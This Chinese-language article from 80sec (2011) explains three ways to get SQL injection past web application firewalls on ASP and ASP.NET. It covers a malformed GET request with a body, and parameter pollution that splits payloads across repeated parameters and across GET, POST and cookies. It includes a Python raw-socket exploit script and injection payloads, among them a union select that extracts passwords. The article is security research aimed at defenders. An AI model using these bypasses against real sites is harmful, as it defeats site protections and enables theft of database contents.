淺談繞過WAF的數種方法
0×00 前言
08年初誕生了一種SQL群注攻擊,黑客在全球范圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結合游標的SQL語句就能將整個數據庫的字段內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。
互聯網是快速更新迭代的,但是很多沒有開發能力的單位都是通過外包建立網站,網站的程序一上線就再也無人維護,很多程序存在各種漏洞無法修補,于是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟件WAF,通常一個模塊一個擴展就能搞定,當然也有耗資百萬千萬的硬件WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬件也就是一堆廢鐵。那么WAF是否真的可以解決所有的WEB安全問題呢?所以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。
0×01 Request對象的包解析漏洞.
asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的數據,但是asp和.net庫內置的Request對象完全不按RFC標準來,下面我們可以做個測試:
分別將下面兩段代碼保存為1.asp和1.aspx
使用asp的Request對象接收t參數傳值
———————————————–
- <%
- Response.Write “Request:” & Request(“t”)
- %>
———————————————–
使用asp.net的Request對象接收t參數傳值
———————————————–
- <%@ Page Language=”C#” %>
- <%
- string test = Request["t"];
- Response.Write(“Request:”+test);
- %>
———————————————–
使用下面的python腳本調用socket發送原始的HTTP包
———————————————–
- #!/usr/bin/env python
- import socket
- host = ’192.168.239.129′
- path = ‘/1.asp’
- port = 80
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host, port))
- s.settimeout(8)
- exploit_packet=”t=’/**/or/**/11=1–”
- exploit_packet+=”\r\n” * 8
- packet_length = len(exploit_packet)
- packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’
- packet+=’Host: ‘ + host + ‘\r\n’
- packet+=’Content-Length: %s\r\n’ % packet_length
- packet+=’Content-Type: application/x-www-form-urlencoded\r\n’
- packet+=’\r\n’
- packetpacket = packet + exploit_packet
- print packet
- s.send(packet)
- buf = s.recv(1000)
- if buf: print buf[buf.rfind("\r\n"):]
- s.close()
———————————————–
我們發送的原始包是:
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
t=’/**/or/**/1=1–
結果返回如下:
Request:’/**/or/**/1=1–
將python測試腳本的path改為/1.aspx測試頁返回同樣結果。
我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于t=’/**/or/**/1=1–參數后的8個回車換行和Content-Length頭,包的結構類似于一個POST包,而請求的方法是GET,最后asp和asp.net的Request對象成功的解析了這個畸形包取出了數據。
所以如果WAF沒有處理好HTTP包的內容,沿用常規思路處理GET和POST的邏輯的話,那么這個畸形包將會毀掉WAF的基礎防御。
0×02 被遺忘的復參攻擊.
大家應該還記得09年的HTTP Parameter Pollution攻擊,查看[3]文檔,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個復參特性,本文將利用這種的特性的攻擊簡稱為復參攻擊,用0X01里的例子簡單的測試一下:
用GET請求傳入兩個t參數
GET http://192.168.239.129/1.asp?t=1&t=2
將返回
Request:1, 2
asp和asp.net的Request對象接收了兩個參數,并且以逗號分隔,所以便衍生出了[3]文檔中的復參SQL注入方法:
- Vulnerable code:
- SQL=”select key from table where id=”+Request.QueryString(“id”)
- This request is successfully performed using the HPP technique:
- /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
- The SQL request becomes:
- select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,
我們可以看到通過巧妙的運用注釋符結合復參特性可以分割GET參數中的SQL注入語句,如果WAF對GET參數的處理過于簡單是不是會匹配不到攔截規則呢?
0×03 高級復參攻擊.
ASP.NET的Request對象有一個Params屬性,ASP.NET程序員在一些程序中會使用Request.Params["xxx"]傳入數據,參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這里我們可以修改0×01里的例子測試一下:
使用asp.net的Request.Params方法接收t參數傳值
———————————————–
- <%@ Page Language=”C#” %>
- <%
- string test = Request.Params["t"];
- Response.Write(“Request:”+test);
- %>
———————————————–
發送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數內容
———————————————–
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2
t=3
———————————————–
結果返回
Request:1,3,2
最后得出結論,Request.Params方法接收的數據是按照GPC順序整合,看到這里的同學再聯想到0×02的復參攻擊應該如醍醐灌頂了,我們可以將SQL攻擊語句拆分到GET,POST,COOKIE三個變量里進行組合攻擊。想一想WAF針對這種高級復參攻擊是否防御好了?
0×04 后話
WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描敘了WAF處理HTTP包與服務端處理HTTP包數種差異。互聯網是不斷更新迭代的,差異存在,類似的漏洞也會存在。
本文提到了三種繞過WAF的思路,第一種是我的原創屬于0DAY狀態,第二種是參考已有的復參攻擊,其中第三種高級復參攻擊是由Safe3同學提出的,本文也是與Safe3同學討論他開發的WAF的BUG而來,所以感謝Safe3同學。
另外請大家不要將本文的內容用于非法途徑,僅供安全人員參考,謝謝。
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-09-06
From: http://www.80sec.com/?p=244
【編輯推薦】